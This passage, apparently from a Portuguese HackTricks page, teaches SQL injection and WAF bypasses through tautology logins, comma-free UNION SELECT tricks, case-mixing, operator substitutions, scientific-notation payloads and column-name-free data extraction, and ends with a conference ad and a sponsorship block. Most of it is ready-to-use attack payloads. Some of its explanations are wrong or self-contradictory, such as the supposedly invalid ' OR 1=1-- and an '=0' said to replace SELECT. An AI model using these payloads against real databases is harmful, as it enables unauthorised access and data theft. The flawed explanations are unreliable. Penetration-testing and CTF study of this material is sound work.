Por exemplo, considere a seguinte consulta:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='' AND password=''
|
||
```
|
||
|
||
Se tentarmos injetar a seguinte carga útil:
|
||
|
||
```
|
||
' OR 1=1--
|
||
```
|
||
|
||
A consulta resultante seria:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='' OR 1=1--' AND password=''
|
||
```
|
||
|
||
Observe que a consulta resultante é inválida devido à presença do caractere `'` no final da carga útil. No entanto, podemos contornar essa restrição usando parênteses:
|
||
|
||
```
|
||
' OR (1=1)--
|
||
```
|
||
|
||
A consulta resultante seria:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='' OR (1=1)--' AND password=''
|
||
```
|
||
|
||
Observe que a consulta resultante agora é válida e retornará todas as linhas da tabela `users`.
|
||
```sql
|
||
?id=(1)and(1)=(1)--
|
||
```
|
||
### Bypass sem vírgulas
|
||
|
||
Sem vírgulas - bypass usando OFFSET, FROM e JOIN
|
||
```
|
||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||
```
|
||
### Bypasses Genéricos
|
||
|
||
Lista negra usando palavras-chave - contornar usando maiúsculas/minúsculas
|
||
```sql
|
||
?id=1 AND 1=1#
|
||
?id=1 AnD 1=1#
|
||
?id=1 aNd 1=1#
|
||
```
|
||
# Blacklist usando palavras-chave insensíveis a maiúsculas e minúsculas - contornando usando um operador equivalente
|
||
|
||
Algumas aplicações usam listas negras (blacklists) para evitar ataques de injeção SQL. Essas listas negras geralmente contêm palavras-chave que são proibidas na entrada do usuário. No entanto, essas listas geralmente são case sensitive, o que significa que as palavras-chave proibidas só são eficazes se forem inseridas com a mesma capitalização que a lista negra.
|
||
|
||
Para contornar essa restrição, é possível usar um operador equivalente que produza o mesmo resultado que a palavra-chave proibida, mas que não esteja na lista negra. Por exemplo, se a palavra-chave "SELECT" estiver na lista negra, é possível usar o operador equivalente "=0" para produzir o mesmo resultado. A consulta seria algo como:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password=''=0;
|
||
```
|
||
|
||
Isso produziria o mesmo resultado que a consulta original:
|
||
|
||
```
|
||
SELECT * FROM users WHERE username='admin' AND password='';
|
||
```
|
||
|
||
No entanto, a palavra-chave "SELECT" não foi usada diretamente na consulta, o que permite contornar a lista negra.
|
||
```
|
||
AND -> && -> %26%26
|
||
OR -> || -> %7C%7C
|
||
= -> LIKE,REGEXP,RLIKE, not < and not >
|
||
> X -> not between 0 and X
|
||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||
```
|
||
### Notação Científica para Bypass de WAF
|
||
|
||
Você pode encontrar uma explicação mais detalhada sobre esse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
|
||
```
|
||
-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Bypassar Restrição de Nomes de Colunas
|
||
|
||
Em primeiro lugar, observe que se a **consulta original e a tabela da qual você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||
|
||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, portanto, em uma injeção de SQL, isso ficaria assim:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Ou usando um **bypass de vírgula**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Ferramentas de sugestão de bypass de WAF
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Outros guias
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista de detecção de força bruta
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|